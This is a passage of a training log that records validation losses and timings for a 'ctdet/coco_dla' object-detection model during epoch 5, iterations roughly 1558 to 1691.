0.5358 |wh_loss 2.2289 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1558/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.8005 |hm_loss 0.5380 |wh_loss 2.2467 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1559/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.8000 |hm_loss 0.5377 |wh_loss 2.2453 |off_loss 0.0378 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1560/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7996 |hm_loss 0.5374 |wh_loss 2.2438 |off_loss 0.0378 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1561/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7991 |hm_loss 0.5371 |wh_loss 2.2424 |off_loss 0.0378 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1562/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7986 |hm_loss 0.5368 |wh_loss 2.2410 |off_loss 0.0377 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1563/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7981 |hm_loss 0.5365 |wh_loss 2.2395 |off_loss 0.0377 |Data 0.015s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1564/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7976 |hm_loss 0.5361 |wh_loss 2.2381 |off_loss 0.0377 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1565/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7972 |hm_loss 0.5358 |wh_loss 2.2367 |off_loss 0.0377 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1566/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7967 |hm_loss 0.5355 |wh_loss 2.2352 |off_loss 0.0376 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1567/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7962 |hm_loss 0.5352 |wh_loss 2.2338 |off_loss 0.0376 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1568/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7957 |hm_loss 0.5349 |wh_loss 2.2324 |off_loss 0.0376 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1569/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7953 |hm_loss 0.5346 |wh_loss 2.2310 |off_loss 0.0376 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1570/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7948 |hm_loss 0.5343 |wh_loss 2.2295 |off_loss 0.0375 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1571/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7943 |hm_loss 0.5340 |wh_loss 2.2281 |off_loss 0.0375 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1572/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7939 |hm_loss 0.5337 |wh_loss 2.2267 |off_loss 0.0375 |Data 0.008s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1573/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7934 |hm_loss 0.5334 |wh_loss 2.2253 |off_loss 0.0375 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1574/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7929 |hm_loss 0.5331 |wh_loss 2.2239 |off_loss 0.0375 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1575/2110]|Tot: 0:00:34 |ETA: 0:00:00 |loss 0.7925 |hm_loss 0.5328 |wh_loss 2.2225 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1576/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7920 |hm_loss 0.5325 |wh_loss 2.2211 |off_loss 0.0374 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1577/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7915 |hm_loss 0.5322 |wh_loss 2.2196 |off_loss 0.0374 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1578/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7910 |hm_loss 0.5319 |wh_loss 2.2182 |off_loss 0.0374 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1579/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7906 |hm_loss 0.5316 |wh_loss 2.2168 |off_loss 0.0373 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1580/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7901 |hm_loss 0.5313 |wh_loss 2.2154 |off_loss 0.0373 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1581/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7896 |hm_loss 0.5310 |wh_loss 2.2140 |off_loss 0.0373 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1582/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7892 |hm_loss 0.5307 |wh_loss 2.2126 |off_loss 0.0373 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1583/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7887 |hm_loss 0.5304 |wh_loss 2.2112 |off_loss 0.0372 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1584/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7883 |hm_loss 0.5301 |wh_loss 2.2098 |off_loss 0.0372 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1585/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7878 |hm_loss 0.5298 |wh_loss 2.2085 |off_loss 0.0372 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1586/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7873 |hm_loss 0.5295 |wh_loss 2.2071 |off_loss 0.0372 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1587/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7869 |hm_loss 0.5292 |wh_loss 2.2057 |off_loss 0.0371 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1588/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7864 |hm_loss 0.5289 |wh_loss 2.2043 |off_loss 0.0371 |Data 0.005s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1589/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7859 |hm_loss 0.5286 |wh_loss 2.2029 |off_loss 0.0371 |Data 0.004s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1590/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7855 |hm_loss 0.5283 |wh_loss 2.2015 |off_loss 0.0371 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1591/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7850 |hm_loss 0.5280 |wh_loss 2.2001 |off_loss 0.0371 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1592/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7846 |hm_loss 0.5277 |wh_loss 2.1987 |off_loss 0.0370 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1593/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7841 |hm_loss 0.5274 |wh_loss 2.1974 |off_loss 0.0370 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1594/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7837 |hm_loss 0.5271 |wh_loss 2.1960 |off_loss 0.0370 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1595/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7832 |hm_loss 0.5268 |wh_loss 2.1946 |off_loss 0.0370 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1596/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7827 |hm_loss 0.5265 |wh_loss 2.1932 |off_loss 0.0369 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1597/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7823 |hm_loss 0.5262 |wh_loss 2.1919 |off_loss 0.0369 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1598/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7818 |hm_loss 0.5259 |wh_loss 2.1905 |off_loss 0.0369 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1599/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7814 |hm_loss 0.5256 |wh_loss 2.1891 |off_loss 0.0369 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1600/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7809 |hm_loss 0.5253 |wh_loss 2.1878 |off_loss 0.0368 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1601/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7805 |hm_loss 0.5250 |wh_loss 2.1864 |off_loss 0.0368 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1602/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7800 |hm_loss 0.5247 |wh_loss 2.1850 |off_loss 0.0368 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1603/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7796 |hm_loss 0.5244 |wh_loss 2.1837 |off_loss 0.0368 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1604/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7791 |hm_loss 0.5241 |wh_loss 2.1823 |off_loss 0.0368 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1605/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7786 |hm_loss 0.5238 |wh_loss 2.1810 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1606/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7782 |hm_loss 0.5235 |wh_loss 2.1796 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1607/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7777 |hm_loss 0.5232 |wh_loss 2.1782 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1608/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7773 |hm_loss 0.5229 |wh_loss 2.1769 |off_loss 0.0367 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1609/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7768 |hm_loss 0.5226 |wh_loss 2.1755 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1610/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7764 |hm_loss 0.5224 |wh_loss 2.1742 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1611/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7759 |hm_loss 0.5221 |wh_loss 2.1728 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1612/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7755 |hm_loss 0.5218 |wh_loss 2.1715 |off_loss 0.0366 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1613/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7750 |hm_loss 0.5215 |wh_loss 2.1701 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1614/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7746 |hm_loss 0.5212 |wh_loss 2.1688 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1615/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7742 |hm_loss 0.5209 |wh_loss 2.1675 |off_loss 0.0365 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1616/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7737 |hm_loss 0.5206 |wh_loss 2.1661 |off_loss 0.0365 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1617/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7733 |hm_loss 0.5203 |wh_loss 2.1648 |off_loss 0.0365 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1618/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7728 |hm_loss 0.5200 |wh_loss 2.1634 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1619/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7724 |hm_loss 0.5198 |wh_loss 2.1621 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1620/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7719 |hm_loss 0.5195 |wh_loss 2.1608 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1621/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7715 |hm_loss 0.5192 |wh_loss 2.1594 |off_loss 0.0364 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1622/2110]|Tot: 0:00:35 |ETA: 0:00:00 |loss 0.7711 |hm_loss 0.5189 |wh_loss 2.1581 |off_loss 0.0363 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1623/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7706 |hm_loss 0.5186 |wh_loss 2.1568 |off_loss 0.0363 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1624/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7702 |hm_loss 0.5183 |wh_loss 2.1555 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1625/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7697 |hm_loss 0.5180 |wh_loss 2.1541 |off_loss 0.0363 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1626/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7693 |hm_loss 0.5177 |wh_loss 2.1528 |off_loss 0.0363 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1627/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7688 |hm_loss 0.5175 |wh_loss 2.1515 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1628/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7684 |hm_loss 0.5172 |wh_loss 2.1502 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1629/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7680 |hm_loss 0.5169 |wh_loss 2.1488 |off_loss 0.0362 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1630/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7675 |hm_loss 0.5166 |wh_loss 2.1475 |off_loss 0.0362 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1631/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7671 |hm_loss 0.5163 |wh_loss 2.1462 |off_loss 0.0361 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1632/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7667 |hm_loss 0.5160 |wh_loss 2.1449 |off_loss 0.0361 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1633/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7662 |hm_loss 0.5158 |wh_loss 2.1436 |off_loss 0.0361 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1634/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7658 |hm_loss 0.5155 |wh_loss 2.1423 |off_loss 0.0361 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1635/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7653 |hm_loss 0.5152 |wh_loss 2.1410 |off_loss 0.0361 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1636/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7649 |hm_loss 0.5149 |wh_loss 2.1396 |off_loss 0.0360 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1637/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7645 |hm_loss 0.5146 |wh_loss 2.1383 |off_loss 0.0360 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1638/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7640 |hm_loss 0.5143 |wh_loss 2.1370 |off_loss 0.0360 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1639/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7636 |hm_loss 0.5141 |wh_loss 2.1357 |off_loss 0.0360 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1640/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7632 |hm_loss 0.5138 |wh_loss 2.1344 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1641/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7627 |hm_loss 0.5135 |wh_loss 2.1331 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1642/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7623 |hm_loss 0.5132 |wh_loss 2.1318 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1643/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7619 |hm_loss 0.5129 |wh_loss 2.1305 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1644/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7614 |hm_loss 0.5127 |wh_loss 2.1292 |off_loss 0.0359 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1645/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7610 |hm_loss 0.5124 |wh_loss 2.1280 |off_loss 0.0358 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1646/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7606 |hm_loss 0.5121 |wh_loss 2.1267 |off_loss 0.0358 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1647/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7602 |hm_loss 0.5118 |wh_loss 2.1254 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1648/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7597 |hm_loss 0.5116 |wh_loss 2.1241 |off_loss 0.0358 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1649/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7593 |hm_loss 0.5113 |wh_loss 2.1228 |off_loss 0.0358 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1650/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7589 |hm_loss 0.5110 |wh_loss 2.1215 |off_loss 0.0357 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1651/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7585 |hm_loss 0.5107 |wh_loss 2.1202 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1652/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7580 |hm_loss 0.5104 |wh_loss 2.1189 |off_loss 0.0357 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1653/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7576 |hm_loss 0.5102 |wh_loss 2.1177 |off_loss 0.0357 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1654/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7572 |hm_loss 0.5099 |wh_loss 2.1164 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1655/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7568 |hm_loss 0.5096 |wh_loss 2.1151 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1656/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7563 |hm_loss 0.5093 |wh_loss 2.1138 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1657/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7559 |hm_loss 0.5091 |wh_loss 2.1125 |off_loss 0.0356 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1658/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7555 |hm_loss 0.5088 |wh_loss 2.1113 |off_loss 0.0356 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1659/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7551 |hm_loss 0.5085 |wh_loss 2.1100 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1660/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7546 |hm_loss 0.5082 |wh_loss 2.1087 |off_loss 0.0355 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1661/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7542 |hm_loss 0.5080 |wh_loss 2.1075 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1662/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7538 |hm_loss 0.5077 |wh_loss 2.1062 |off_loss 0.0355 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1663/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7534 |hm_loss 0.5074 |wh_loss 2.1049 |off_loss 0.0355 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1664/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7530 |hm_loss 0.5072 |wh_loss 2.1037 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1665/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7525 |hm_loss 0.5069 |wh_loss 2.1024 |off_loss 0.0354 |Data 0.002s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1666/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7521 |hm_loss 0.5066 |wh_loss 2.1011 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1667/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7517 |hm_loss 0.5063 |wh_loss 2.0999 |off_loss 0.0354 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1668/2110]|Tot: 0:00:36 |ETA: 0:00:00 |loss 0.7513 |hm_loss 0.5061 |wh_loss 2.0986 |off_loss 0.0353 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1669/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7509 |hm_loss 0.5058 |wh_loss 2.0974 |off_loss 0.0353 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1670/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7504 |hm_loss 0.5055 |wh_loss 2.0961 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1671/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7500 |hm_loss 0.5053 |wh_loss 2.0949 |off_loss 0.0353 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1672/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7496 |hm_loss 0.5050 |wh_loss 2.0936 |off_loss 0.0353 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1673/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7492 |hm_loss 0.5047 |wh_loss 2.0924 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1674/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7488 |hm_loss 0.5045 |wh_loss 2.0911 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1675/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7484 |hm_loss 0.5042 |wh_loss 2.0899 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1676/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7480 |hm_loss 0.5039 |wh_loss 2.0886 |off_loss 0.0352 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1677/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7475 |hm_loss 0.5037 |wh_loss 2.0874 |off_loss 0.0352 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1678/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7471 |hm_loss 0.5034 |wh_loss 2.0861 |off_loss 0.0351 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1679/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7467 |hm_loss 0.5031 |wh_loss 2.0849 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1680/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7463 |hm_loss 0.5029 |wh_loss 2.0836 |off_loss 0.0351 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1681/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7459 |hm_loss 0.5026 |wh_loss 2.0824 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1682/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7455 |hm_loss 0.5023 |wh_loss 2.0812 |off_loss 0.0351 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1683/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7451 |hm_loss 0.5021 |wh_loss 2.0799 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1684/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7447 |hm_loss 0.5018 |wh_loss 2.0787 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1685/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7443 |hm_loss 0.5015 |wh_loss 2.0775 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1686/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7438 |hm_loss 0.5013 |wh_loss 2.0762 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1687/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7434 |hm_loss 0.5010 |wh_loss 2.0750 |off_loss 0.0349 |Data 0.000s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1688/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7476 |hm_loss 0.5035 |wh_loss 2.0903 |off_loss 0.0351 |Data 0.006s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1689/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7472 |hm_loss 0.5032 |wh_loss 2.0890 |off_loss 0.0350 |Data 0.003s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1690/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 0.7468 |hm_loss 0.5030 |wh_loss 2.0878 |off_loss 0.0350 |Data 0.001s(0.001s) |Net 0.022s ctdet/coco_dla| val: [5][1691/2110]|Tot: 0:00:37 |ETA: 0:00:00 |loss 